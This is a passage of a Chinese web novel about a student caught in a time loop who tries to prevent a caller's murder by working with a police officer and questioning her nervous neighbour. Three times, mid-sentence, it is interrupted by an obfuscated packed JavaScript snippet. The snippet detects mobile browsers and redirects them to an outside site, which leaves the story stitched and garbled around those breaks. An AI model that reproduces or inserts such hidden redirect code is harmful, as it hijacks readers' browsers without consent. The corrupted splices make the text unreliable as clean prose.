“下午无意间好似听到了一串数字,不知是不是什么人的电话号码。那时裴九昭应该在说……邻居家猫咪的事情。” “具体是什么我记不起来了,能否让我看看她邻居的电话,也好确认一下。横竖是个线索……” 尤澈越编排越发亏心起来,到后面音量都削减了不少。 章以恩听了这话,略一想从办公桌的一侧抽出来一张纸放到了尤澈的面前,指着它说道:“这是裴九昭近几日的通话记录,你若问其他人的号码还真没有。” “正巧今天早上她给备注丹伽姐姐,也就是她家邻居拨了一通电话,未接。” “你仔细看看,是不是这个号码?” 裴九昭的近几日通话记录并不算多,今日拢共才两通电话,还都是未接。 尤澈看着那串号码,将它牢牢地记下后,点了点头说道:“就是这个。” 办公室的门被轻轻敲了几下,尤澈被吸引过去,是那位小李警官。 章以恩听到“章队”两个字转头隔着窗户瞧了一眼外面暗暗的天色,对尤澈说道:“时间不早了,你先回去吧。” “如有新的线索,记得联系我。” 尤澈应了一声就绕过门口的小李离开了。小李见章以恩一动不动,直到窗户外的尤澈出现,他的视线才跟着移动。 目送尤澈走出上关区派出所后,章以恩点了一根烟用手指夹着,似聊天般说道:“今儿倒是有两件奇事。” 他用燃着的烟朝着裴九昭的那份死亡简报而去,离它还有两三厘米时隔空点了点。 “还有一件,我上内网查了尤澈,记录里他从未来过上关区派出所,怎么进我的办公室如此熟练?” 比起上一次循环,尤澈至少没有将神儿都丢了。他在食堂里买了一份简单的晚饭,去往图书馆的路上随便地垫了几口。 他来图书馆的主要目的是将裴九昭的事情大致理一个头绪,顺便思考一下能否提前说出“同学请自重”恢复记忆。 可是,直到天完全沉了下去、周边的陌生面孔陆陆续续离开,尤澈还是想不出来解决方法,无力又愤慨地抓了几把自己额前的碎发。 就像是有一道很难很难的题绊住了他的脚,偏偏那道题没有标准答案、没有前人实验得出结论,任他想破脑袋也不可能一时之间通了灵智。 也许…… 只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200944|139178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要那位丹伽女士接电话够快,循环就结束了。 * “同学请自重!” “咔哒——” 还未从座机上撤回的手微微颤了一下。 下一秒,尤澈抖着手将听筒拿起来放在耳朵旁,刚准备拨通裴九昭邻居丹伽女士的电话,陡然想起来章警官有调取通话记录的权限。 他必须先回拨裴九昭的电话,再给丹伽拨。 “嘟——嘟——” 尤澈的视线不自觉地移到挂钟上,心随着秒针的转动不断沉下去。 快点接电话啊……接电话……救人……求你了…… 终于,在第10声响铃的时候,有人接了这通电话。 “喂?”,女士的声音陡然响起在听筒中,语速不快,柔柔又怯怯地问道:“请问你是哪位?” 尤澈略舒了一口气,松开了下意识攥紧的手,掌心里满是汗。他开口说话时才发现自己连声音都在抖。 “你好,请问裴九昭在吗……我是她的同学,找她有急事。” 尤澈之所以没有开门见山地与丹伽说裴九昭可能会遇害的实话,实际上是考虑到上次循环的时候丹伽看到她的死状昏了过去。 他的目的一直是救人而不是报丧。 耳朵紧挨着听筒,尤澈好像听到了丹伽也松了一口气,她说道:“原来是昭昭的同学啊……她现在在家,你有事直接打她电话就行了。” 意识到对方要挂电话,尤澈急忙开口说道:“我……刚刚连打了几个电话,她都没接。幸而裴九昭同学之前留下了紧急联系人的号码,备注是丹伽姐姐,我才打了电话来。” “昭昭的紧急联系人留得是我吗?”,丹伽闻言明显有些讶异。 尤澈也顾不得说的话是否有破绽,此时最重要的是要丹伽相信自己从而敲裴九昭家的门救下她。 他凭借自己逐渐熟练的胡扯能力立马想了个理由,仓促地开口道:“裴九昭回家之前忘了整理化学实验室,她的实验数据没人了解也就没人敢动,一个不小心就容易炸了。” “平日里放着也就罢了,正巧一会儿领导要来检查,需要清理干净……我之前听裴九昭说过您就住在她家对面,能不能帮我敲一下门?” “这……不太好吧?” 那种刚接了电话面对未知而怯怯的嗓音又跑了出来,丹伽弱弱地说了一句后便再也没出声。 尤澈的眼睛就没有离开过挂钟,六点十六分了……再晚就赶不上了。 “姐姐,麻烦您了。一是无人敢动那些化学药剂,二是领导如果怪罪下来会将这个项目组取消的,十几个人的心血就白费了。” 尤澈都能当场挑出自己话语间的漏洞——如果真是一个项目组的,其他人怎么会不知道裴九昭的数据? 只是这样学术的话对于丹伽来说好像格外遥远,她犹豫了几下浅浅地“嗯”了一声,算是同意了。 生了锈的防盗门开启的声音从听筒里传了过来,尤澈继续盯着挂钟,六点十六分三十秒,还有机会吧…… “咚咚咚——”,敲门声。 静静等着的尤澈突然想了一件事,连着三次循环都被他忽略的事情…… 好像从他第一次陷入循环开始到现在,未曾听过一句有关于裴九昭父母的事情。就连章警官信他或者不信他、告诉他的信息是多是少,都没有谈到过。 明明一个人最重要的关系就是父母,从章警官的话语透露出来的却像是——除了丹伽和他之外,裴九昭生前死后有过交集的再无旁人。 “咚咚咚——” “……昭昭好像不在家。”,丹伽的声音传了过来。 此刻的尤澈却像是发现了什么惊天大秘密一般,心脏叫嚣如擂鼓一般。他张了张口,颤着声音问了一句话。 “那……裴九昭的家长……” 尤澈的话还没说完,陡然听到了一道刺耳的跌落声音,像是丹伽没拿稳手机将它摔到了地上。 “丹伽姐姐?丹伽姐姐……” 半天无人回应,像是无主的手机被随意的丢弃在大街上,又好似被丢进了荒无人烟的雪原,寂寞而冰冷。 六点十七分,尤澈再也撑不住站着的双腿,摔到了后面的凳子上,凳子腿在地板上划出刺耳的声音。掌心的听筒顺着汗滑落到桌子上,磕了一声再也没响。 丹伽与凶手明明就只隔了两道墙,还是不行吗?循环……还要循环,又要循到什么时候? “小同学?” 一道摩擦的电流声隐隐传出来,尤澈反应过来立马拾起了桌子上的听筒放到耳边,急切地回了一句,“我在,裴九昭开门了吗?!” “没开……刚刚手滑将手机摔了出去,又想到家里挂着昭昭家的备用钥匙,就先去取钥匙了。” 丹伽咽了一下口水,边将钥匙送进锁口边接着小心翼翼地说道:“幸而你没有挂电话……” “咔嚓——” 第一道防盗门开了。 丹伽一只手换钥匙有些颤抖,钥匙相撞发出声响。随后,她将第二把钥匙慢慢地送入锁口。 铁门吱呦一声,锈住的合页发出刺耳的摩擦声,颤巍巍地被推开了。 “啊——” 六点十七分三十秒,丹伽的手机再次摔落。 4. 第四次循环 “丹伽姐姐……丹伽!” 联想到上次章警官说丹伽从人群的夹缝中看到裴九昭躺到血泊中吓昏过去,尤澈喊了几声无人回应后大概猜到了此时的情形。 ——裴九昭还是死了。 六点十六分三十秒左右,丹伽从自己家出去敲裴九昭家的门。那时她并没有表现出害怕或者其他的情绪,尤澈也未从通话中听到什么奇怪的声音。 也就是,距离他挂电话仅仅一分三十秒,裴九昭就已经倒地不起遭遇不测。如此短的时间,凶手入室杀人再悄无声息离开……倒很像是熟练的惯犯。 只是从六点十六分开始,丹伽基本上就守在了裴九昭家门口,那么凶手又是从什么地方离开的呢? 现在还不是思考这件事的时候,丹伽昏倒在地、裴九昭…… 尤澈深呼吸了一下,又长长地舒一口气试图缓解焦躁的心情。他挂了丹伽的电话,轻车熟路地按起了“110”。 简明扼要地讲了回拨时裴九昭不接电话以及丹伽昏倒的事,尤澈随便收拾几下东西就往上关区派出所去,路上顺便将裴九昭给自己打电话的前因后果与通话中的章警官讲了一遍。 上面应该是非常重视这次的案件,尤澈刚进派出所的大门就见到章警官翻着资料在廊檐下抽烟,红点忽明忽灭。 章以恩瞧见台阶下有个男生走了过来,问了一句:“你就是报案的尤澈?” 得到点头的回应后,他灭了手中的烟,指了指屋里说道:“跟我来,问你一些事情。” 两人前后脚地进了办公室,章以恩指了指桌子对面的座椅。等到尤澈坐下后,他才开口说道:“丹伽已经被游城市相城区警方送往医院接受治疗。” “我有一个疑问,你为什么不先报警而是选择拨打裴九昭邻居的电话?” 当然是因为报警没用…… 尤澈腹诽了一句后,老老实实地将来的路上编好的理由讲了出来。反正丹伽如今在医院昏迷着,他说什么都不会惹人怀疑。 “不小心将裴九昭的电话挂了之后,回拨过去无人接听。我担心她出了什么事,又怕她只是将电话静音。” “虽然我没怎么听她下午到底说了什么,但是记住了她家邻居的号码,打过去请她确认一下裴九昭的安全。” 裴九昭的通话记录显示她今天早上确实打给了丹伽。这个解释挑不出来一点毛病,但章以恩还是觉得有些奇怪。 他想起尤澈曾在电话中说,裴九昭只是一个打电话询问调剂的学生,两人之前并不认识。章以恩皱了皱眉,开口问道:“裴九昭不认识你,就这么在电话中向一个陌生人报了邻居的电话号码?” “不知道。”,说完后尤澈又装样子地摇了摇头,一副“此事与我无关”的无辜表情。 三个字听得章以恩有点头疼,他伸手揉了揉太阳穴,有些自暴自弃地顺口问道:“你怀疑谁?裴九昭和你说了三个多小时的话,总不能一句都没用吧?” 问完章以恩也觉得自己有些急了,一桩连他也毫无头绪的命案,让一个连社会都没踏入过的大学生回答,实属为难人。 “算了……” “丹伽。” 章以恩刚想换个话题,就听到桌子对面的尤澈开了口。他有些诧异,想了想后问道:“为什么怀疑丹伽?” 尤澈从没想过要真正地破了这起案子,凶手和裴九昭到底有什么仇什么怨不关他的事。他只是尽可能用前几次循环所得来的信息换取章警官那里的专业探查结果,从中找寻离开循环的方法。 所以他可以怀疑任何人,只是关于裴九昭的社交关系,尤澈只认识一个丹伽罢了。 尤澈回想丹伽接电话之后的所有表现,说道:“不知为什么,她接电话的时候情绪很不稳定,像是心虚又带着极大的防备,声音也弱弱的。我表明来意后她才放下那份戒备。” “而且后来我请她敲裴九昭家的门,没人应后她竟然回自家取了裴九昭家门钥匙。正常来说,任谁敲门没应都会笃定那人不在家,丹伽却好像知道什么……好似知道门内一定有人,只是没能力开门。” “作案时间很短,只有不到一分三十秒。如若凶手从正门离开,必定会被和丹伽通话中的我听到。但是很遗憾,通话中没有任何异响。” “而如今,警方没有抓到凶手只能从我这里获取信息,应该是凶手没留下什么证据。能够对裴九昭家附近地形熟悉且能够保证出入不被察觉,我觉得只有丹伽。” “还有……过程中我提了一嘴裴九昭的父母,她竟直接将电话摔了出去。” 讲话的时候,尤澈居然能敏锐地捕捉到,自己说到“父母”的时候,章警官的表情有一瞬的不自然。 章以恩没有对其他的任何一个细节提问,反而问道:“你为什么会提裴九昭的父母?她在通话中有没有和你说什么相关的信息?” 尤澈摇了摇头,胡编道:“没有。我之所以提到裴九昭的父母,是因为很好奇为什么她连邻居的手机号都能说出来,却在聊天中没怎么提过自己的父母。” 其实尤澈也不知道裴九昭提没提,毕竟他没听。 章以恩闻言点了点头没有表态,他对尤澈的分析也不置可否,反倒从那一摞文件中抽出一张送到了尤澈面前的桌子上。 一上一下印着两张黑白的图片,上面的是半枚提取的鞋印,下面是一双鞋子。 尤澈没看懂什么意思,抬头望向章以恩。 章以恩指了指上面的鞋印,说道:“相城区警方在阳台的窗户处发现了半枚相对比较完整的鞋印,初步推测是44码的男鞋。” “随后,在几条街外的垃圾桶里找到了这双鞋。休闲的老式鞋样,五年前就不太流行了。” 尤澈猜到了章警官会瞒着自己一些线索,没想到是这么直接的证据,他蹙着眉问道:“相城区警方没有调监控吗?穿越几条街扔到了一个垃圾桶里,应该很好确定凶手的吧……” “就算调不出监控,凶手破窗而出到离开总不能一个目击证人都没有吧?” 章以恩叹了一口气,讲道:“这也是最让警方头疼的一点。相城区算是游城市比较缺乏安全管理的地方,街区拥挤、烂尾楼较多,很多事情因此而生。” “偏偏相城区的安全设备每每装新的上去就会被人破坏,久而久之也没什么人管……别说监控年久失修了,就算有录像,那一片居民区有很多死角,熟悉路形的人更不会被拍下来。” “相城区警方在那片居民区进行排查,没有人在六点十五分左右看到过奇怪的人。” “不过,这也变相证明凶手对这一片居民区的结构布局异常熟悉,暂时排除了流窜作案。要么是在这儿住过的,要么就是提前踩过点。” “如果凶手是丹伽,她没必要走那么远去扔一双鞋,更不会在窗台上留下鞋印让警方提取到。况且,这还是一双男鞋。” 章警官否定了他关于凶手的想法,就几乎相当于所有有关于丹伽的信息都将变成无用的废料。更是变相地证明,尽管已经到了第四次循环,他依然找不到一丁点离开的办法。 这对尤澈来说,无疑是酷刑。 尤澈不死心地狡辩道:“怎么就不可能是丹伽呢?她为了不让人怀疑自己,专门穿了一双男士鞋子,又留下了那么明显的鞋印证据……然后绕了一个远路扔鞋子……” 尤澈强行编不下去了,他发现了那个最不可能是的丹伽的原因——时间。 如若丹伽策划了这么一个完美的杀人计划,又怎么会在入室的时候接陌生人的电话? 而且,最重要的是,尤澈真的什么声音都没听到。只有不到一分半的时间,总不能杀个人从头到尾没一点声音再回来若无其事地用钥匙开门吧? 眼见尤澈低下头沉默了几秒,章以恩知道他意识到自己的思维漏洞了,旋即换了个话题说道:“裴九昭倒在客厅的地板上,旁边桌子上有一杯水。经过探查,那杯水有喝过的新鲜迹象,推测是凶手碰的,现送往鉴定DNA。” 尤澈还沉浸在凶手不是丹伽的逻辑中,听到章以恩的话愣了一下,反应过来才意识到这个线索有多么得细思极恐。 六点十六分三十秒,丹伽已经去敲裴九昭家门了。按照之前的推断,敲门过程中没有听到任何奇怪的声音,凶手的行凶时间大概率不到一分三十秒。也就是在丹伽走进走廊的那一刻,凶手基本上就已经跳窗逃跑了。 而现在告诉他,正当他怂恿丹伽去敲裴九昭家门时,两道墙相隔外的凶手在不慌不忙地喝水? “所以……”,章以恩一直在紧紧地盯着尤澈的表情,继而慢慢地问道:“你真的没有在和丹伽的通话中听到任何声音吗?” 这是在… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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怎么能够让自己提前说出“同学请自重”五个字恢复记忆,从而避免裴九昭六点十五分的死亡。 小李见他的表情还是很凝重,继续劝解道:“章队只是被上面和相城区双向催……有点急了。” “嗯……” 在任何自己能看见的地方留下有关于“同学请自重”的记号?如果今天晚上不睡觉,会不会打破重置记忆? “章队他……” 尤澈回过神来发现两个人已经相继走出派出所的大门了,他停身对一路上喋喋不休小李警官严肃地说道:“我理解章警官的不容易,可是无论你们信不信……” “我是最不乐见裴九昭死的那个人。” 这番话说得有些沉重,令小李愣在了原地。直到尤澈消失在视线中,他才从最后一句话中品出别样的、说不上来的意味。 大约与他听到过的判了死罪的“我不想死”很像,又不太像。 上关区派出所离林城大学不算远,尤澈想了一路都没有个结果。当他回过神看到夜晚中亮着的林城大学门面时,又觉得自己去也思虑来也思虑好笑且心酸。 如果当初他没有选择继续在林城大学读研,今日的循环是不是就不会将他牵扯进来?是不是就会换另一个更有实力的人来救下裴九昭? 他真的……没有任何办法,真的没有。 只是才第四次循环就放弃,是不是太蠢了? 尤澈在回宿舍的路上拐去了物理系的招生办,趁着大门还没锁,在招生办的屋子里贴满了“同学请自重”的字条。 桌子上、靠椅上、电脑上……目光所及之处皆是。 随后,在宿舍的桌子上、床铺里如法炮制。 贴到最后,尤澈不放心又将手机里、电脑里、U盘中全塞进了有关循环的信息,像是无孔不入的小广告,保证醒来的第一眼就能看见。 闹钟、备忘录、聊天记录、桌面、实验资料……他甚至还花了十分钟做了一个会自动弹窗的小程序,在每个电子设备里夹杂了一份。 尽管尤澈知道循环大抵是一切重来,凭你现在做任何事,时间开始往回倒退时,所有都会化为齑粉。 但是……万一呢? 尤澈躺到床上后,点了一下手机屏幕,十二点三十五。他决定尝试不睡觉逃避重置记忆的方法,打开了游戏界面准备玩通宵。 一点五十四,尤澈觉得自己还能坚持,刚这么想就打了个困意十足的哈欠。 二点二十八,游戏玩得人想睡觉,尤澈退了出来,准备随便找点学习上的事干,就像之前他通宵做毕设那样。 三点整,无人问津的巴掌大手机再也撑不住,灭了。 5. 第五次循环 熟悉的旋律在枕头旁边响起,两三秒后,尤澈迷迷糊糊中反手摸到关机键将闹钟按掉了。他将手机举到了眼前,眯着眼看屏幕。 今天没课,无名的闹钟将在十分钟后八点四十再次响起,尤澈将它彻底停止后揉了揉脸,从床铺上坐了起来。 脑袋浑浑噩噩得,他蓦地又将扔在枕头边的手机拿了起来,解锁后点进了闹钟的界面。除了一排的时间再无其他,清醒了一些的尤澈觉得自己有点莫名其妙,将它又扔了回去。 尤澈下床后从衣柜里拿出来白色卫衣和黑色卫裤,刚将柜门关上,又下意识地将它打开看向柜子的四壁。 干干净净得,一丝灰尘都没有。他皱着眉将柜门慢慢地合上,自我怀疑是因为关上的一瞬间恍到眼睛了,导致看错了,以为里面有奇怪的东西。 洗漱完,尤澈将桌子上的电脑、U盘装进书包里,伸手从枕头边拿过手机,巡视了一圈总觉得有什么东西没拿。 他站在桌子边想了快一分钟,手机、电脑、U盘、实验资料……什么都不缺。 刚开学一个月,周五的图书馆不比期末周,没有挤到座位都找不到。 尤澈随便找到了一个清净的地方坐下,拿出电脑、插上U盘。开机后除了右下角弹出的U盘信息就只是屏幕的风景照。 他盯着电脑上面的海滩落日发呆了几秒,片刻后觉得自己今天异常不对劲,再次揉了把脸后点开了U盘里的文件夹。 下午一点,阳光透过图书馆的玻璃撒在了尤澈的身上,他伸了伸有些酸的腰,决定吃个饭后直接去物理系招生办值班。 刚走出图书馆,口袋里的手机嗡地响了一声,他拿出来解锁,发现是负责勤工俭学事项安排的同学。 [eela:下午两点半到六点半记得值班,最近有人查,切忌迟到早退。接电话时要恭谦有礼,一个差评就要扣一天的钱。] 脑海中有什么一闪而过,尤澈没有先回那位负责人,而是切到了和自己小号的聊天框中。 最后一条消息是昨天发给小号的资料文档,整个页面是各种文档,没什么特别的。 尤澈怀疑自己是昨天晚上没睡好出现幻觉了,他切回了和负责人的聊天框中,简单地发了一句“好的”。 尤澈到物理系招生办的时候,墙上的挂钟正好走到两点,他拉开值班室的靠椅坐了上去。桌子被上一位值班的同学收拾得干干净净。 他将电脑开机,把U盘插上,将模拟实验的程序点开运行。可他总觉得这次的实验差了一个什么程序,翻遍U盘里的文件夹也没找到。 尤澈拍了拍自己的额头,将脑海里的离奇想法摒弃出去,打开文档继续完成自己的实验报告。 下午两点半,对面的教学楼响起了悠扬的上课铃声。铃声刚结束,桌子上的座机接着响了起来。 尤澈蹙了一下眉,将听筒拿起来放到了耳朵旁。对面的人可能没想到电话这么快被接通,停了两秒才开始说话。 “老师您好,我叫裴九昭……” 这个声音有一瞬间让尤澈感觉到熟悉,可是在他的记忆中从未认识过名字叫“裴九昭”的人。 他愣了一会儿,一时没听到裴九昭后面说了什么,也没回话。 裴九昭瞧了一眼座机的屏幕显示——通话中,试探性地开口问道:“老师?” 两个字将尤澈喊回了神,他歉然地说道:“不好意思啊同学,刚才没听到,可以再说一遍吗?” 听到裴九昭自己想调剂到林城大学天文专业,尤澈略想了一下,说道:“同学,据我所知,今年天文的调剂名额不多,但是你的分数还不错,欢迎在调剂系统开启后报名。” 裴九昭接下来的发言让尤澈感觉她并不像是来问调剂的,反而是拉着朋友唠家常。 下午两点三十五分,模拟实验的程序运行完了第一个周期。尤澈想到今天的实验报告deadline,将座机调成免提任由对面的人自说自话。 下午六点十五分,听了近四个小时的环绕式噪音,再加上今日总有一种恍恍惚惚落不到实地上的感觉,尤澈的火气攒起来能把一把干柴点燃。 “同!学!请!自!重!” 这次的话远比前四次更加咬牙切齿,就连挂电话的按键也被尤澈砸出声响。 只是下一秒,无数的记忆碎片将他的脑海充斥,胀得脑袋像是要爆炸。 第五次循环…… 闹钟上的备注、床铺衣柜桌子上随处可见的便签纸、电脑手机U盘里的弹窗小程序、聊天记录的备份、招生办比比皆是的字条……全都消失了。 难怪总觉得今天好像忘了什么重要的事情。 可是……真的还能出循环吗? 他根本做不到在挂电话之前说出“同学请自重”恢复记忆,也做不到在一分半的时间里救回百里之外的裴九昭。 听着外面放学的喧嚣,尤澈陡然从心底生出一股无力感。对于循环、对于死亡……他做不出一点改变。 他只是一个普通到不能再普通的人,过着三点一线的疲劳生活,出了校园缩成两点一线,直到死亡时再缩成一个点…… 疲乏、无助、枯竭相继将尤澈淹没,只想将自己蜷成一个团投进黑暗。 胳膊交叉颓在桌子上,他咬着唇将头缓缓地埋进去,又不甘地拿额头磕了几下,碰到了前方的键盘发出一连串的声响。 “嗡嗡——” 尤澈的额头不知碰到了哪里,电脑正中央被砸出了弹窗。 ——关于是否覆盖文件的提示框。 尤澈闻声抬头朝那个突如其来的弹窗看去,大致是问他是否要用U盘里的一个文档替换招生办电脑中一个名叫“error”文件夹里的文档。 尤澈先点了否,然后在电脑里找到了“error”文件夹,上面显示的时间是昨天下午四点。 他越看越觉得奇怪,那个文档是他上次做实验时写的实验报告初稿,一直放在U盘里没有删,所以他根本不会把这个文档放到招生办电脑里,何况文件夹的时间还是没有排班的昨天。 上次的实验报告初稿,只有他和导师有。他的导师在外地出差根本不会在昨天来招生办的电脑里放一个文档。 也就是说,这个名叫“error”的文件夹是凭空出现的,而且里面的东西还是他的。 脑海中有缕思绪一闪而过,尤澈陡然想起来,在第三次循环中,他瞬间回拨电话裴九昭没有接、报警后收拾东西准备去派出所前,电脑上弹出了一个提示框。 他当时的心思完全不在上面,只怕实验数据没有保存就按了“Y”。想来应该是那个时候将上次实验报告的初稿送进了这个文件夹。 文档被送进文件夹的时间是第三次循环中的“今天”,按理说会和他做的字条、备注、小程序一个下场,消失于下一个“今天”。 但是,它没有被循环粉碎,反而留存在名为“error”的夹缝中,成为了循环的一个bug。这对苦于寻找提前恢复记忆的尤澈来说,是个极大的机会! 尤澈把上次循环中做出来的开机自动弹出“同学请自重”相关信息的小程序从U盘移到了“error”的文件夹里。 过程中,抓住鼠标的手不自觉地颤抖。 他怕自己将小程序放进去,文件夹的时间就会被改变,下次循环就不会再生效。 尤澈深呼吸了几下,才颤着手用鼠标查看文件夹的属性。天无绝人之路,“error”的时间并没有发生改变,依旧是昨天。 也就是说,下一次循环只要他一打开电脑,小程序的弹窗就会出来,他就可以救下裴九昭,离开“今天”。 这是老天爷帮他劈开的一扇窗。 尤澈长舒了一口气,顺势瞧了眼挂钟,明明才六点十七分不到,却像是过去了一个世纪。 但是这个时间点,他明确知道裴九昭已经死亡了,再做什么都挽救不了第五次循环失败的事实。 尤澈将身体后移,倚在靠椅上,默默地发呆。 思绪不由自主地回想起上次循环章警官说出的信息——裴九昭下午有毕设组会,但还是在上午急忙请了假回去。 今天是周五,裴九昭为什么不等明天放假回去?是不是下午会有什么事情发生?比如婚嫁丧事等…… 但是在两人的通话中,尤澈没有感觉到她很伤心,那大概率是为了亲人朋友的喜事? 只是如今也算是步入数字时代,以后又不是再也不见,是什么事值得裴九昭早上得知之后就要请假? 如果真是什么结婚的事,在礼堂盯上裴九昭从而以朋友的名义一路上跟过来也不是没可能…… 越想凶手的范围越大,尤澈彻底断了这个想法。 不过,裴九昭回家的时候,很大概率会和丹伽撞上。按照她们俩之间的关系来看,丹伽很有可能会问裴九昭回来所为何事。 那么,是不是问了丹伽就可以知道裴九昭为什么回来?以及在下次循环时,提醒裴九昭避开这个事情? 想通了这一点,尤澈猛地坐起来,拿起座机的听筒,先回拨了裴九昭的电话,显然没人接。随后,尤澈按照记忆中的那串数字拨通丹伽的电话。 电话嘟了有七八声,才被丹伽接通。 “喂……请问你是哪位?” 听到丹伽的声音,尤澈终于有了一种落到实地的感觉,他装作与裴九昭相熟的样子说道:“您就是裴九昭同学所备注的丹伽姐姐吧?” “我是她的同学……是这样的,下午裴九昭同学没来参加有关于毕业设计的组会,导师让我联系一下她问问原因。” 尤澈刻意隐瞒了裴九昭上午请假的信息,就是为了试探她回家的这件事是否与丹伽有关,他继续胡扯道:“但是我刚刚给她打电话时候没人接,您是她的紧急联系人,所以来问问您。” “裴九昭为什么急匆匆地回家去了?是不是有什么……” 不知哪句话戳到了丹伽的痛点,她连裴九昭为什么会留她的联系方式都没有问,急匆匆地打断尤澈的话,仓促地甩了一句,“我不知道……什么都不知道……” 说完,丹伽就挂了电话。 丹伽的语速极快,喃喃完听筒中就只剩下“嘟嘟”的电子音。 尤澈没有想到会遇到这种情形,怔了快一分钟才回过神来。明明这次给丹伽打电话说的话和上次的内涵差不了多少,只是多涉及了一个裴九昭回家的原因,丹伽的态度却发生了大转变。 以他的直觉来讲,裴九昭回家的原因肯定是整件事情的关键。 尤澈将座机的听筒放了回去,又往后倚上了靠椅。上次循环,章警官用证据消除了他对丹伽的怀疑。 可是,经此一通电话,他还是觉得丹伽肯定知之甚多且和裴九昭的死亡脱不了关系。就算时间上来不及、人不是她杀的,也绝对称得上是从犯。 丹伽两次接电话的时候都太心虚了,且在前几次循环中,丹伽在家不可能听不到门口有便衣警官在敲裴九昭的家门,警方破门而入之前,她为什么不第一时间将自己知道的关键信息报给警官? 而是畏畏缩缩地躲在门后,从夹缝中看到裴九昭的尸体才昏过去?这也太像是确定目标死亡后装昏躲开警方的询问了。 其实让尤澈一直咬死丹伽的最关键一点,是她有裴九昭家门钥匙,这个点太重要了。 经过之前的推测,凶手基本需要满足三个点,一是对这片居民区了如指掌、避开所有人从死角离开,二是能够在裴九昭家里进出自如,三是有作案时间。 丹伽满足前两点但没有作案时间,警方也很难找到一个完全满足三个条件的嫌疑人。不过,没有任何人可以确定这起命案中凶手只能是一个人。 所以,不管丹伽是被动还是主动,无论她隐瞒事情昏过去究竟是懦弱害怕还是故作姿态,她都能将前两点的信息同步给凶手。 只是如今,单从丹伽一方的说辞,很难判断她和裴九昭是否有仇。 不过,现在来看,有没有仇都不重要也与他无关了。只要明天提前报警让警方去往裴九昭住的那片居民区排查,凶手自然就会闻风退却,循环就解除了。 尤澈的心情瞬间好了起来,哪怕一会儿还得去趟派出所,也不影响他雀跃的情绪。 尤澈慢悠悠地收拾起自己的东西,又拿出手机玩了几局消消乐,随后往墙上的挂钟扫了一眼。 差不多快六点三十分的时候,尤澈带着自己的东西晃下了楼,毫不意外地在门口看到了警车。 只是这次循环不是他主动报的警,所以尤澈要装作豪不知情的懵怔模样,被章警官带上警车,否则他主动给丹伽打电话瞒而不报的这件事情解释不清。 正当尤澈脸朝着窗外腹诽自己循坏了五次智商一点没涨、演技从无到有的时候,副驾驶传来了章警官的声音。 “认识裴九昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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章以恩没有得到回答反而被反问了一通,他微微皱了一下眉,总觉得哪里有点奇怪,连着看了尤澈好几眼。 “楼上的邻居下楼的时候发现丹伽昏在走廊里,一片衣角已经被裴九昭的血浸湿了。应该是接完你的电话之后,亲自去取了裴九昭家门钥匙开门,被血腥的场面吓到了,现在已经被送往医院。” 那还好……无论他说什么,暂时都没人会怀疑。 尤澈略一思索,凭空捏造道:“当时我不小心碰到了座机的挂断键,但是模拟实验的程序正好结束,我就先去忙实验了,两分钟后才回拨过去却没人接。” “我担心她会出事,记忆中下午的时候她好像提到了自己的邻居丹伽姐姐,还说了一串疑似号码的数字,我就打来试试。” “电话接通,我给丹伽说明情况后,想请她确认一下裴九昭在不在家里有没有出事……”,尤澈陡然想到了什么,话语一转。 “又想到丹伽可能没时间,委婉地提醒她找裴九昭的家人确认一下她的安全。丹伽非常确信地跟我说,裴九昭在家里,不会出事的。” “所以,我就没有再追问。” 根据上次丹伽的表现,她确实知道裴九昭在家里,这点尤澈不算说谎。 他之所以将裴九昭的家人也牵扯到这个解释当中,是因为想套取她父母的信息给下次循环买个双重保险。 一是章警官、丹伽都瞒着她父母的事,尤澈怕这是影响他逃离循环的变数;二是警方救裴九昭毕竟会有延迟,如果能让她父母确保她的安全最好不过。 果不其然,只要话语中带上“家人”、“父母”这样的词,章警官就像是只听到这个信息一般,默默地开口解释道:“裴九昭的父母暂时联系不到……” 尤澈显然不想要这样的回答,他装作为裴九昭发声的模样振振有词地说道:“为什么联系不到?女儿死了这么大的事,邻里都全快知道了,当父母的居然不知道?!” 章以恩被尤澈的这几句问沉默了,车里的气氛一下子降到了冰点,只有引擎的声音沉沉地响着。 直到尤澈开始反思自己是不是演得太过了的时候,副驾驶的章以恩突然开口问道:“你怎么知道裴九昭的邻里都知道了?” “……”,尤澈只是为了和她父母做对比说了邻里的事情,就这么被章警官抓到了小细节。 他一边暗骂自己是个笨蛋,一边想理由回应这个致命问题,“……报案人是邻居,且不论他是否往外说,丹伽晕在走廊,裴九昭家门大开,来往的人必定不少。” “其次等警方的人到来之前,现场不是被封锁的,消息流通必定很快。” 不知是不是尤澈的错觉,这番话解释完,副驾驶的章警官不再将关注放在他身上,而是直接将他忽略了。 不仅在警车上不再问他的话,就连到了上关区派出所的办公室,也只是公事公办地做了笔录,问几个简单的问题,让他按完手印就可以走了。 章警官轻飘飘揭过的表现又让尤澈对于自己的推断开始怀疑——如果他们对裴九昭的父母避而不谈只是因为过世了呢? 所以章警官和丹伽才会支支吾吾地略过这个信息,且丹伽心性胆小,陡然听到去世的人被吓了一跳也很正常。 尤澈也判断不出来了,他将目光聚焦到身旁的小李警官,打算拉着他聊几句,套几条线索。 他试探性地问道:“警官……我第一次遇到这种事,章警官没跟我说多少,可是如果不再多了解一些有关于裴九昭的细节,我怕我良心不安、晚上会睡不着……” 小李闻言转头朝尤澈看过来,他的表情显然有些犹豫,两瓣唇要张不张。 